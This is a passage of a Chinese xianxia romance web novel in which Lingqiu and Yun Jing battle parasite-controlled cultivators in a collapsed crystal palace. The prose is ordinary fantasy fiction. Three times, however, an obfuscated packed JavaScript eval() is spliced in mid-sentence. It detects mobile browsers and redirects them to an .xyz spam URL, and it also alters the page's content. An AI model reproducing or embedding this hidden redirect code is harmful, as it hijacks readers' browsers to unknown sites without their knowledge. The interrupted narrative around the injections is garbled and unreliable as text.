淡黄色的月亮近在眼前,眼看就要彻底逃出宫殿,突然,天空开始倾斜倒转,月亮化作一道淡青色的裂缝。 头顶,一根巨大的横梁猛砸下来。 砰—— 一声巨响,世界彻底陷入黑暗。 该死,今日可真是见鬼了。 灵秋从废墟中支起身子,两眼一抹黑。 心脏怦怦直跳,胸腔爆裂般难受。 她忙取出腰间的火折子,微弱的火光蓦地跃出,耳边同时传来云靖的声音。 “你在哪儿?” 晕眩夹带着剧烈的耳鸣,她盯着那羸弱的火苗看了好一阵才终于勉强找回声音。 那头的询问早已带上几分焦灼的急切。 灵秋凝神道:“我没事。” 她气息飘忽,云靖立即有所察觉:“你怎么了?可有受伤?” “并未。” 灵秋起身,举着火折子环视一眼,只见断壁残垣正好堆砌出这一方闭塞天地。一片凌乱碎晶中间,赫然倒着一个不省人事的薛成昭。 她朝薛成昭走过去,一面向云靖道:“只是此处无光,我同姓薛的在一起,你和云姑娘想必落到一处去了。” “是,云姑娘和闻人双双都在这儿。”云靖抬头看了眼残垣缝隙中的浅黄,“我们这儿正好能看得见月亮,有光。” 他对灵秋说:“你待在原处别动,让薛成昭点上明符,我们立刻就来找你们。” “恐怕不行。” 灵秋半蹲在薛成昭身前,伸手在他脸上噼啪拍了两下,见他毫无苏醒的征兆,想了一瞬,顺手挥出剑气,刷刷往他手臂上划了几道口子。 剧痛刺激得昏迷中的薛成昭眉心一皱。 见薛成昭有悠悠疼醒之象,灵秋施法替他止了血,接着对云靖道:“你们所在的地方有光,想必靠近出口,我想办法辟开一条路,沿着光走,不出多时便能汇合。若是干等在原地,这么大一座废墟,你们从外面找进来,漫无目的,不知猴年马月才能找到。” “并非漫无目的。”云靖的声音柔柔传来,带着些许缱绻的意味。 灵秋低头,手腕上,一条细细的光带骤然浮现,像一道细小的符文,安静地贴合在皮肤上。 “无论在哪儿我都能找到你。” 光带轻轻一震,仿佛对他的话做出回应。 灵秋动了动手腕:“那我也不要等在原地,我们同时向对方靠近,不是更快吗?” 对面怔了怔,声音软软的:“好啊,我们同时朝对方走,你……” 话突然被人插断。 “闻人……表姐?” 薛成昭从地上坐起来,揉着脑袋,眼神迷蒙地瞧着面前的姑娘,眼前仿佛还飘着方才水晶长廊坍塌前的画面。 “先不同你说了。” 灵秋将手上的火折子举得离薛成昭近了些,那本就如风中残烛般可怜的光源几乎快要消失殆尽。 呼吸不可控地急促起来,她心头烦闷,顺手掐断了同音咒。 耳后金印紧跟着开始发烫。 “凌姑娘?” 少顷,薛成昭从迷茫中恢复神智,惊讶地看着灵秋,疑惑道:“我们这是在哪儿?” 灵秋一把抓住他的手臂,压得苏韫珩伤口吃痛,猛吸一口凉气。 她胸口剧烈起伏,急道:“快燃明符!” 苏韫珩被她吓了一跳,来不及察看自己手臂为何疼痛异常,立即掏出符篆。 烈焰自他手中迸开,薛成昭这才发现,灵秋额间布满了密密的细汗,整个人几近脱力,狼狈得跟刚从水里捞出来似的。 “宫殿坍塌,我们暂时被困在这儿,其他人在另一边,我们现在去找他们汇合。” 她大口喘息,简单解释了目前的状况,薛成昭心中顿时涌上千般困惑。 他看了看手中的明符,又盯着灵秋手上燃尽的火折子瞧了半晌,不由发问:“先前我便想了一路,凌姑娘修为高超,为何一直依靠他人燃火照明?” 而且还随身带着寻常人家才用的火折子。 说着,他吃痛地捞起衣袖,只见细皮嫩肉的胳膊上赫然多出好几道新伤,叫人施了法刚刚止住血流不止的模样。 薛成昭瞳孔放大,当即狠狠吸了一口冷气。 灵秋道:“我天生怕黑,使不出烛火一类的术法。” 她不避讳,也没法避讳。 听她这么一说,原本正拼命往胳膊上吹气的薛成昭呆呆停下动作,好奇地凑近几分。 灵秋瞪他一眼,伸手拭了拭额间,示意他举着明符往前走,自个儿提了剑气,仔细找着下手辟路的地方。 修道之人向来忌讳被人知道自己的弱点,尤其在阳华仙会上,各家修士更恨不能将自己的看家本领捂得紧紧的。 薛成昭没想到灵秋竟然如此轻易便将自己的私密之事脱口而出,惊讶极了,连手臂上的伤也顾不上。 剑气低吟一声,如针刺布帛,带起一片水晶碎屑。 两人往前进了一步,灵秋回头看薛成昭一眼,瞧他欲言又止的模样,开口道:“知道此事的人不多,全天下拢共三个,希望薛公子替我保密。” “那是自然!” 薛成昭被她瞧得有些局促,慌乱散了袖子,单手抖了抖,整理一番,轻咳一声:“这伤……想必是凌姑娘替我处理的吧?” 灵秋缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15423909|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓垂眸往他手臂处投去意味深长的一瞥,轻点了点头:“没错。” 看来凌姑娘其实并没那么讨厌自己! 薛成昭立即做出一个躬身行礼的动作,手上的明符跟着衣袍卷下去,灵秋忙甩出一道咒将人粗暴地掰回来。 “多、多谢凌姑娘。” 薛成昭被她这么一点,没有半分不悦,倒十分惦念她方才的话,接着问道:“凌姑娘说世间有三人知道此事,不知除了你我,还有谁?” 话音刚落,耳后金印的温度又高了几分。 灵秋受不了,解开禁锢,云靖的声音立刻灌入耳膜,带着十分的恼意。 他的质问如连珠炮般轰来,灵秋皱眉听着,末了,终于找到说话的机会,才回复说这边一切正常,又让云靖转告云海川薛成昭的状况。 做完这些,云靖恨恨威胁灵秋不许再掐断同音咒。 “要是再这样,我就一头撞死在这边,让你再也找不到!” 他扬言每隔片刻就要出声询问状况。 灵秋默默翻了个白眼,却再没去管同音咒。 这么耽搁了一会儿,薛成昭见她不答,自顾自猜测道:“莫不是大师兄?” “是他。” 灵秋皱着眉,点了点头。 “什么是我?” 那头,云靖听到薛成昭的声音,刚平息的语气又含上三分不豫:“你同他说了些什么?” “不过是怕黑使不出火之类的旧事。” “你连这种事也告诉他?”那头,云靖冷笑一声,“我竟不知你二人已经相熟到了这种地步。” “不熟。”灵秋被他话中莫名的情绪刺了一下,说出了声:“我的事,我想告诉谁便告诉谁。你要是实在找不到话说,不如闭嘴。” 言罢,她不管云靖的反应,再度掐断了同音咒。 这厢,苏韫珩听她突然蹦出一句没头没脑的话,不禁惊愕道:“凌姑娘可是在同我大师兄交谈!这隔空相谈,不用传音符,是如何做到的?” “同音咒。” 灵秋觉得自己今日实在是太有耐心了,竟生同薛成昭说出如此多的废话。 除了眼前的明符,再不见半点光源。越想越觉得烦,她只管驱动剑气,哐哐凿着面前的路。 “同音咒!?” 苏韫珩又惊了。 这同音咒又称千里同音咒,是一种极为复杂的咒术,两两成对,用于传递信息。与寻常的传音符不同,高阶的同音咒除了传音,甚至能使成咒双方达到共感。 同音咒极其罕见,唯有关系极其亲密的人才会彼此合契,种下此咒。 苏韫珩看着少女的侧影,心头一动,张了张嘴,只问道:“凌姑娘……同我大师兄的关系很好吗?” 灵秋的动作因他这句话顿了一顿,剑气在巨大的水晶石壁上划出一道长长的深痕。 她微微垂下眼帘,长睫投下一层阴影。 有趣的是,这是灵秋生平头一回被人问及与另一个人的关系——在这之前从没有人问过她这种问题。 思绪在沉静中流转,灵秋想,她待云靖似乎的确有些不同,可究竟哪里不同,她也说不出来。 在她的认知里,这世上人与人之间的关系淡薄,唯一称得上亲密的也只有像逍遥派众人那样彼此爱护的同门。 或许是因为他是自己的仆人吧。 云靖做事尽心,灵秋也算满意。 主仆间的情分总要比他人多上几分,虽然也只是几分而已。 情感总是需要一个合理的身份作为载体。 只是有时候,他有点太不听话了。 灵秋的眉心微蹙又渐渐舒展,半晌,轻飘飘地吐出一句:“我与他不熟。” “我同她从小就认识,说是青梅竹马也不为过。” 这头,云靖听到云海川的问题,皱着眉将注意力从被掐断的同音咒上暂时移开。 “所以云公子才会知道凌姑娘怕黑么?” 云海川检查过闻人双双四周的禁制,拿过腰间的酒壶,灌了一口。 到底是少年人,方才的惊险余味一过,自然而然地熟络起来。 她存着闲话的心思,云靖闻言却顿时生出三分警惕,反问道:“谁跟你说她怕黑的?” 见他一脸故作镇静,云海川笑起来,解释道:“落入这石窟时,我一个人在地上晕了好久,迷糊间注意到云公子一边唤凌姑娘的名字,一边拉阿昭的手,嘴里还说着安慰的话。后来你挡在她身前,遮住了光,看凌姑娘当时的反应,还有什么猜不到的?” 云靖垂下眼睑,碎发自额前滑落,显得有些凌乱。片刻,他抬起头,看着云海川,语气带了低涩的哑:“这件事,我希望云姑娘不要告诉任何人。” 这是属于他和凌秋两个人的秘密。 曾是。 至少在一刻钟前依旧是。 “说起来,你我还是本家呢。这个忙我帮了。” 云海川看着他的神情,应了一声,伸手递来酒壶。 云靖摆了摆手,没接。 耳边仍是长久漫漫的沉默,他轻轻摩挲着冰凉的剑柄,终于停下试图驱动同音咒的动作。 30.探境风云险象环生(3) 哗啦—— 碎晶四溅,断梁从中心断裂。眼前被明符照出的影子突然虚晃了一下,灵秋回头,只见薛成昭站在不远处,低低垂着头。 “你在搞什么?” 她不耐地质问。 一向狗腿的薛成昭却没有反应。 周围水晶被剑气劈裂,碎屑顺着倾斜的地势滚落,溅在他的身上。 薛成昭一动不动。 咔……哒……咔哒……咔哒—— 什么声音? 灵秋皱眉,犹豫着往前迈出一步。 咔哒……咔哒……咔哒—— 像折断了枯枝。 浓密的黑发半遮住眼前人的面孔,再走近些,隐约看到他的嘴角正在一点点地缓慢扬起。 某种腐烂的气息从薛成昭身上弥散出来,在灵秋的注视下,他轻轻抬起手,伸向明符。 刷! 电光石火间,灵秋闪身上前,劈手夺过那道发光的符篆,稳稳落三尺之外。 薛成昭猛地抬头,一双眼睛漆黑空洞,直勾勾地盯着她,嘴角弧度越发上扬,仿佛下一瞬就要撕裂皮肤,露出里面潜伏的虫蜕。 眨眼间,他以一种近乎扭曲的姿势飞速扑过来! 指甲划破空气,发出尖锐的嘶鸣。宽袍大袖,符篆鱼贯而出,密密麻麻的符文蠕动着,仿若活物。 幽暗的黑火破空燃出,一股强烈到令人作呕的腐败气息顿时侵袭了每寸毛孔,灵秋侧身急退,黑焰擦着她的左肩飞过,打在背后的水晶壁上,顷刻扬起崩裂的尘灰。 她直直盯着失去理智的薛成昭,眸中寒光闪闪,冷静得骇人。 手中明符嗤嗤作响,发出力竭的哀叹,燃烧的烈火照亮她眼中的寒芒。符咒再次攻来的瞬间,没有一丝犹豫,灵秋在残缺的水晶壁上一瞪,折身一跃,如一柄出鞘的刀锋,飞射向薛成昭后颈。 活虫般纠缠蠕动的符文擦过她耳际,附着一缕青丝,疯狂蚕食。灵秋剑气一挥,刷刷斩断。黑发披散,她照着薛成昭猛击。 咚—— 耳边传来骨肉撞地的沉闷声响,与此同时,手中仅剩的光明燃到尽头,猝然熄灭。 灵秋脱力般跌坐在地上。 周遭空气突然凝结成块,沉重地积压向她。鼻尖黏腻的腥臭像是被污浊的水浸泡入侵,泛出令人作呕的血腥。 几乎立刻失去了对空间的感知,只剩下胸腔中疯狂鼓噪的心跳。 砰——砰——砰—— 一下下,仿佛要把肋骨撞断。 汗水从额角淌下,湿冷冰凉的感觉在触及某处滚烫时骤然消退。 耳后金印执拗地发烫,在暗无天日的废墟里闪出微弱的光。 灵秋一动不动地盯着手腕上的光带,空气越来越稀薄,世界只剩下无限堆叠的黑暗与绝望。 她伸出手,第一次试探着轻轻拉了拉空中的同心结。 光带蜿蜒着,通向废墟,通向目之不能及的地方。 叮铃铃—— 晃动着,发出遥远而清脆的铃音。 “……云靖?” 她终于打开同音咒,小声呼唤那端人的名字。 回应她的只有凝霜剑划破空气的锐响,和某种杂乱而沉重的喘息。 灵秋猛地看向倒地的薛成昭,不祥的预感席卷全身。 又来? 指尖明符已成灰烬,她咬紧牙关,血腥味在口腔漫开。 站起来,颤抖着,眼前景象糊成一片,长睫倾覆,亮晶晶的不知是泪还是汗。 灵秋死死盯着蜿蜒的光带。 叮铃铃——叮铃铃—— 黑暗的潮水淹没了世界,光带在虚空中游曳,每一次摇曳都溅起点点微光,像桂月时节天穹深处垂落的一缕银河,揉碎夜色,以世间最细腻的丝线织就。 晃动的铃音在黑暗中荡开一圈圈透明的涟漪,光明的、灵动的,宛如黑暗心脏上缠绕着的唯一一条光脉。 叮铃铃——叮铃铃—— 声音一点点清晰,一步步分明。 浅黄色的月亮出现在废墟上空,滂沱的气浪迎面扑来,灵秋把肩上的薛成昭随手一扔,飞身上前。 轰然一声震响,翻滚的尘埃间,她看见两道模糊的身影。 术法交击,符文与剑光撕裂空气,腐味如同鬼魅在狭窄的空间内缠绕。 云海川身畔黑烟缭绕,眼中布满血丝,扭曲着,如数只细虫攀附爬动。血从衣袍上不断浸出,染透了脚下晶莹的碎晶。 咔哒——咔哒—— 骨头断裂。 滋啦——滋啦—— 断骨扭曲。 骨肉撕裂的声音在耳边混响,哪怕伤口深可见骨,她也没有半点停下的意思,像一只疯狂的山兽,扑向面前的对手。 灵秋迅速闪身避开云海川的攻击,转头一看,凝霜剑的剑锋已经直冲她而去。 她瞳孔猛缩,飞冲上前,一把握住凝霜剑柄。 锋利的剑尖停在离云海川眉心不足半寸的地方。 下一瞬,黑色的烈焰便朝她冲来。灵秋手持凝霜飞跃而起,一掌劈在云海川后颈,将她打晕在地。 她如释重负地叹了口气,转眼间,一道黑影便飞扑上前,手中凝霜同时发出一声嘶鸣,不受控制地飞了出去。 破风声刺耳,天地突然暗了一瞬。 森冷的杀意直冲向灵秋。眼前,云靖手持凝霜,剑尖离她咽喉不过半寸。 空气仿佛在这一刻凝固,两人之间,迤逦的光带轻轻摇晃,带起阵阵飘扬的铃响,如风声呢喃低语。 灵秋清晰看到他眼底疯狂交错的黑纹,像无数细虫撕咬着灵魂。 她下意识将目光移向他的小腹——衣袍完好,不曾剖裂。 总算松了口气。 接着便是愤怒。 心里像压着一团乱糟糟的火,烧得她眼眶发颤。 又是这样。 万丈崖下的情景历历在目。 为什么总是这样! 灵秋死死盯着云靖的眼睛,没有后退半步,反而一步步,慢慢地朝着凝霜剑的剑锋走了过去。 长剑剧烈颤抖着,千里同心绳晃动,带起铃音汹涌,不断敲打着耳膜。 一寸寸,只一步,剑尖就要划破血肉。 云靖突然猛地一颤,像被无数细小的线缠住,痛苦地绷紧了身体。 喉咙里发出一声低哑的嘶吼,凝霜抖得几乎难以握住。 随她步步走近,他咬紧牙关,颤抖着步步后退。 痛苦仿若凌迟,鲜血顺着剑柄流坠,在地上砸出爆裂的花纹。他的指尖深深扣进掌心,连骨节都泛白。眼底深处,那一丝被痛苦碾碎的清明始终死死盯着眼前的少女。 不能。不能。 像刻意的折磨,每走一步,耳边的铃音就欢快一分。 灵秋眼见他步步退后,拼命抵抗着蛊虫的控制,眼中那一点点深埋的清明如暴风中的火烛,微弱却固执地闪烁。 长发散落,微湿,剑眉星目,眼尾因忍耐泛出潮红。 那是一种脆弱又坚定,破碎又炽烈的美。 做得很好。 灵秋着迷地凝望这张狼狈得近乎凄美的脸,一步步,终于逼得他退无可退。 背脊抵靠在冰冷的水晶壁上,云靖眼底晃动出痛苦与挣扎。他颤抖着,一点点放下凝霜剑。 头顶月光忽然亮了几分。 下一瞬,长剑毫无预兆地抬起,冲向她。 在即将刺中灵秋的那刻,云靖猛地反转剑锋,将凝霜剑狠狠没入了自己的小腹。 噗嗤—— 鲜血炸开,仿佛用尽力气,最后一丝清明也彻底消失在他脸上。 凝霜顺着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432035|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮肉剖开,灵秋心头一震,几乎本能地倾身上前,徒手握住剑锋。 淋漓的血从她手心涌出,滴落在云靖的伤口上,几乎同时,灵秋扣住他的手腕,将凝霜剑夺过,飞扔向一边。 鲜血随迅疾的动作飞溅到云靖脸上,落进他布满血丝的眼睛。 瞬间,他身形一顿,整个人像是被什么无形的力量生生拽住,僵硬在原地,瞳孔剧烈收缩,像溺水的人突然挣扎出水面。 落到灵秋手上的除了温和的修复灵力,还有某种滚烫的液体。 她以为是血,惊愕地低头,见到的却是一滩透明的水色。于是再度惊愕地抬头,只见面前的人低着头,肩膀无声地颤抖着,像一座随时会崩塌的残破城墙。 血污顺着脸颊滑落,随之而下的还有晶莹的泪珠。 灵秋内心大震,整个人都揪起来,呆滞地跪在原地任他为自己疗伤,既不知道他为何会突然恢复理智,更不知道他突然哭起来的原因。 头顶的月亮从浅黄变成深黄,明晃晃地照得人心里发慌。 两人手还握在一起,确切地来说,是她还死死反扣着他的手腕。 灵秋慢慢放开,在记忆中反复搜刮,终于,抬起手轻轻揉了揉他的脑袋。 大颗大颗的泪珠砸在手背上,是更剧烈的颤抖和更沉默的哭泣。 没用。 灵秋咬下嘴唇,心下一动,终于倾身上前,轻轻抱住了他。 怀中人猛地一震,随即像彻底崩溃般,扣紧了她。 一声极轻极哑的嘤咛从他喉间溢出,紧接着,再也抑制不住,低低啜泣起来。 云靖把脸埋在她的肩颈间,指尖扣着她的后背,力气一开始大得像要把她按进骨血,后来又猛地松开,像生怕她窒息。 肩上湿哒哒的一片,有些难受。灵秋伸手拍拍他的背,像从前安慰兰翘一样安慰道:“你已经不是小孩子了,别哭了,好吗?” “对不起……对不起,我又被控制,又伤了你……对不起……都怪我……” 他的声音断断续续的,颤抖得厉害,像碎晶哽在喉咙里,每个字都带着深深的自责与痛苦。 灵秋感受到他在发抖,呼吸里血与泪混在一起的味道莫名有些酸。 她拼命眨了眨眼睛,驱散这种莫名其妙的不适感,低声道:“没关系啊,你怎么会伤得了我,方才是我自己去握剑的。” 而且……似乎正是因为她被剑划伤,他才会忽然恢复理智。 云靖还抱着她,一边哭一边固执地道着歉,血腥缠绕中,某个被压在心底的念头突然像针一样狠狠刺破了灵秋混沌的思绪。 都怪他的眼泪,居然让她忘了这件事! 灵秋猛地松开手,推开怀中的人。 云靖一时怔在原地,像只被抛弃的小狗一样,红着眼睛茫然地看着她。 怀中余温还未散去,心却猛地空了一半,可是下一瞬,灵秋忽然毫无预兆地捧起他的脸。 云靖呆呆地看着她,眼睫扑闪,整个人轻轻颤抖着,紧紧攥住了衣袍,抿住嘴唇。 灵秋俯下身,额头几乎贴着他,呼吸急促,眼中闪着急切的光。 “没错,就是这样!” 她一笑,整个世界都明亮。 云靖忍不住跟着痴痴弯起唇角,眼角还挂着晶莹的泪光。 然而,他还没反应过来,灵秋立刻撤开身体,转身跑向一边。 刚刚愈合的手心又被划开,她走到薛成昭和云海川身边,挨个往他们的七窍五官滴血。 长长的光带跨越了整座废墟,一头一尾,将两人连在一起。 手腕上是漂亮闪光的同心结。 皱皱的裙摆在破碎的空气中扬起,云靖跪坐在原地,怔怔望着她,眼中一点点浮起湿润而炽热的光芒。 有道法术他学了很久,终于可以派上用场。 31.探境风云险象环生(4) “人有七窍,各司其职,护持身心,抵御外邪。” 裙摆忽然动了一下,灵秋低头一瞥,只见裙子上原本难看的褶皱消失得无影无踪。 她抬眼看向面前施法的少年,露出一个笑容:“你倒是很自觉嘛。” 说着,上前几步在他身前站定,捧起他的脸。 冰凉的触感惹得云靖瞳孔倏地一颤,黑色瞳仁扩散成柔和的光晕。 鲜红的血珠沿指尖滑落,带着微小的刺痛,准确无误地滴入五官之中。 随血落入,仿佛有道无形的屏障在体内悄然升起,每一处窍穴都被唤醒,筑起一道森严的防线,抵抗外力的入侵。 月光明亮,耳边传来水晶撞击的叮铃声,最终也只在体表激起微末的涟漪,再也无法撼动心神。 云靖顺从地任由灵秋动作,在最后一滴血落入眼中时,终于伸手扣住她的手腕。 体内的感觉做不了假,他垂眸,将灵力丝丝融入她划破的掌心,声音藏着几分探究:“你的血为何会有这样的功效?” “自然是因为本姑娘修为高强,意志坚定。”灵秋把手从他掌心抽出,瞥一眼他受伤的腹部,“这点灵力还是留给你自己疗伤吧。” “我没事的!”云靖忙拉住她的裙角。 “你做什么?” 灵秋皱眉,只见他低低垂着眉眼,声音也软下来,带着一点讨好般的委屈:“你的头发散了,让我给你梳头,好不好?” 修长的手指轻轻拽着她的裙角,指节绷得发白,像生怕她抽身而走,小心翼翼地缠绕。 现在是梳头的时候吗? 灵秋瞥他一眼,本想拒绝,却被那双还残留着泪光的眼睛绊住。 云靖趁机往前一步,眼睛里藏着点点隐忍的期待和急不可耐的亮光,被他努力隐藏起来,做出一副全然听她吩咐的老实模样。 他试探道:“这是我应该做的,不是吗?” 灵秋无声地看着他。 水光潋滟、澄澈缠绵的是眼睛。 什么时候变得如此优柔寡断? 或许总有一天,她要亲手剜了这双该死的眼睛才行。 她这么想着,板着脸走到他身前。 云靖从境中变出一把玉梳,梳齿拂过发丝的声音细微而温柔,他的动作极轻却再看不出生疏的感觉。 手指微微收紧,骨节发白,像是隐隐压制这某种汹涌的心绪,他慢慢地梳着头发,动作仔细得像在编织某种无形的网。 一缕缕黑发顺着他的指缝滑过,柔软得令人心颤。云靖忍不住凑近一些——浅淡的残香,是桂花油的味道。 灵秋只当他在认真服侍自己,呼吸交叠的距离,她有些不耐烦地皱了眉,偏偏身后人温软的指腹总是有意无意地擦过耳廓,弄得她心里七上八下,很不舒服。 察觉到她的不耐,云靖轻声唤她:“……别动。” 得寸进尺。 灵秋正想发火,却忽然嗅到一股甜蜜的花香。 身后人递来点心盒子,动作极快,像小狗叼着骨头讨饶,声音也软得一塌糊涂。 打开一看,偏偏是她最爱的桂花糕。 云靖做的桂花糕在整个人间也是独一份。 灵秋拿起糕点咬了一口,身后少年眼底飞速掠过一抹得意,手上动作依旧乖巧。 “好吃吗?”他声音含笑,话音未落又贴得近了些,呼吸拂在她颈侧,带起薄薄的热意。 “还、还行吧。”灵秋眨眨眼,只管品尝眼前美味,倒不是很在意他的动作,像某种下意识的信任。 云靖握着玉梳,指尖在她发梢停留片刻,没再往下。 他眸子很黑,藏着密密暗涌的情绪,声音依旧是清越乖巧的,语气像是随口闲聊:“你知道吗,这世上并非所有人都能为你梳发。” “那是自然。”灵秋咬下一口桂花糕,“世上也并非所有人都会梳发啊。” “不一样。”云靖垂下眼,“你已经有我了,以后就不能再让他人替你梳发。” 不能?应该是不必才对吧。 灵秋没有在意,敷衍地点点头,随即又道:“我师姐也不行吗?” 云靖没有成为她的仆人之前,好看的发髻都是师姐替她梳的,师姐喜欢替她梳发,她也乐意把自己交给她。 “……可以。”云靖抿唇,“我的意思是其他人,其他男子。” 黑发滑过掌心,他的动作比先前还要轻柔,仿佛极尽耐心:“除了我,不能让其他男子碰到你的头发。” 空气突然有些发冷,灵秋停下吞咽桂花糕的动作,心底泛起一丝微妙的不适。 然而还没等她开口,云靖突然绕到她身前,蹲下凑近,柔声道:“世上男子多为粗笨之辈,只会把你这么漂亮的头发弄得乱七八糟,我比他们厉害多了。所以选我还是选其他人,不言而喻,对吗?” 灵秋一怔,撞进他近在咫尺的眉眼,下意识想后退。 嘴角突然落下温热的触感,眼前少年笑着俯身,指腹轻轻擦过那一点桂花糕的碎屑,动作轻柔,一触即分。 好软。 灵秋倒吸一口凉气,一把将手里的点心盒子往他怀中一扔,速速站起来,连连倒退好几步。 脑子一团浆糊,就在这一瞬,剧烈的轰鸣声在耳边炸开,地面猛颤,细碎的尘土从废墟裂缝间簌簌滚落。 一股森冷至极的气息破空而来,与之同往的还有那股熟悉的、令人作呕的腐烂气息。 咔哒……咔哒…… 骨节相互摩擦,发出刺耳的声音。尖锐的爪钩刮过水晶石壁,仿佛有什么生物正在迅速逼近。 头顶黄月毫无预兆地闭合消失,天地无光,同时,黑暗中一双双猩红的眸子破空而出,直朝两人扑来。 狭窄的空间被猩红的光点填满,两两成对,散发出阴冷的寒光。 几乎想也没想,在出手之前,云靖立即拈出两道护体咒飞射向远处倒地的云海川和薛成昭。 一瞬的空白,黑暗中的异兽们已张开血盆大口,疯狂朝他扑来。 凝霜剑横飞出去,挡在主人面前,然而很快,凌厉的剑光一点点缩短,直至彻底湮灭在黑暗中。 云靖握上剑柄,指尖触碰到的却是一团滑腻的柔软。 诡异蠕动的感觉顺着掌心窜上手臂,他惊愕地低下头,借着四周凶兽眼底散出的红光,只见成千上万条青黑细小的虫子将凝霜剑整个缠绕包裹,此刻正顺着他的手,窜上手臂,每一只足有半截小指大。 尖细的足爪咔哒咔哒地挠着掌心,云靖把剑一松,转眼间,一道冰蓝色的剑光飞击向他,四周红瞳以迅雷不及掩耳之势熄灭大半。 灵秋割开小臂,鲜血飞洒在虚空中,落到他的手上,那些虫子就像被火灼烧般迅速扭曲干瘪,无力地掉下去。 借着红光,灵秋猛一甩手,虫群四散飞溅,像爆开的黑色雨点砸落在地,发出一连串令人毛骨悚然的咔哒声。 同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436780|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,她驱动剑气,毫不留情地飞斩向四周的异兽,面不改色地屠杀着这些异化的修士。 红光一对对熄灭,胸口压抑的闷痛愈发清晰。忽然,一只手猛地扣上她的手腕,一束明光猛地照亮此间天地,打在眼前成群的异兽身上,照出裸露的骨骼、令人作呕扭曲形态、狂热失智的眼神、褴褛的衣物,以及腰间各色不同的、代表宗门身份的玉牌。 “不要杀!”云靖声音低哑,“他们是和我们一样的修士!” 脚边累累,是死去人的躯体。 狰狞的面容上,大大圆睁的眼睛,诉说着死不瞑目的不甘与遗憾。 灵秋用力甩开他,怒道:“他们被蛊虫寄生,已经失去理智了!” 说着,她劈手斩向四周异兽,未料剑光闪动,竟是云靖驱使着凝霜挡在她的剑下。 “不是的!”他皱眉道:“这些人还活着,只要将他们带出去,一定能找到取出蛊虫的方法。” 刷—— 云靖手中闪出七彩流光,转眼间,整座废墟上空,一道密布的罗网徐徐展开。 流光落到四周异兽身上,一点点密织成游动的符咒,云靖驱动凝霜剑,将带着杀气的剑意用力斩碎,接着转身,调动全身灵力念诀,驱动着法阵。 狂风猎猎,他站在废墟中央,眉头紧锁,指间微微颤抖。 受伤的小腹汩汩涌出鲜血,染红了大半衣袍,掌心灵力翻涌,像挣脱束缚的洪流,不要命地向四周奔涌。 周遭异兽疯狂挣扎着,尖利的嚎叫划破长空,一道道细碎的符文像锁,一点点封死限制它们的动作。 流光映照他的脸色,面容苍白,淋漓的冷汗顺着额角坠下,血脉在腕间跳动,仿佛随时都有绷断的可能,饶是如此,云靖依旧死扣住法印,不曾松动半分。 血脉之力像是要消耗殆尽,灵秋不可置信道:“你是不是疯了!?” 她快步上前扣住云靖的手腕,怒火如潮水涌上心头,压也压不住。 “——定!” 刹那间,流光停驻,无数异兽如力竭般卧倒在地,闭上了眼睛。 云靖被灵秋拽得一个踉跄,猛地向前吐出一口血,却只是强撑着站在原地,低头看她,眉眼沉静。 灵秋瞄向他的小腹,几乎气笑了:“你为什么要这么做?” 她咬着牙,是十足的恨铁不成钢。 “你以为你用命来换这些人,很了不起吗!?” 风停了,天地间弥漫着血腥气,浓得化不开。 云靖看着她,眼底掠过一丝笑意,伸手轻轻揉了揉她的头发,像给小动物顺毛:“……这么生气,怎么,心疼了?” 语气那么温柔,像羽毛拂过。 灵秋心中怒气顿时被撩得更旺。 她狠狠瞪他一眼,像是终于忍耐到极限,眼底的火在极短的一瞬间被彻底压抑下去,取而代之的是一种令人胆寒的冷意。 “你以为不杀他们就能救他们?”她抬眸,嘴角勾起一抹讥诮的笑,“可惜血蛊乃魔族之物,从古至今无方可解。说来奇怪,这阳华境内居然会有魔族的东西,真是……” 天助我也。 她话说到一半,云靖早已惊讶地抬起头,与此同时,身后,一道紫色的身影从阴暗处缓缓走出。 男人狂傲的笑声传来,与方才温和畏缩的模样全然不同。 “阿紫!” 结界内,薛成昭捂着脑袋醒来,愤怒的喊声在天地间炸裂回响。 32.薄雾见我情地恨天(1) “你个王八蛋!” 薛成昭摇摇晃晃地站起来,冲出护体结界,扑向阿紫,然后毫无意外地——被他一甩衣袖,掀飞上天,撞倒在水晶石壁上。 “你……你……你怎么……咳咳!” 他一开口,整个鼻腔涌入奇异的腥甜,伸手往脸上一抹,竟是淋漓的血。 薛成昭大惊,然而电光石火间,面前的阿紫已收拢五指,高举双手,念动了符诀。 修长的手指弯曲似勾,在空中交错变幻成繁复的印诀,地面隐隐颤动,紧接着,成千上万条细虫如黑潮般破土而出,爬满四野,朝着几人扑来。 危急时刻,灵秋飞身上前,以剑气阻挡,云靖同时驱动凝霜飞绕四周,将远处的云海川和闻人双双携至身后。 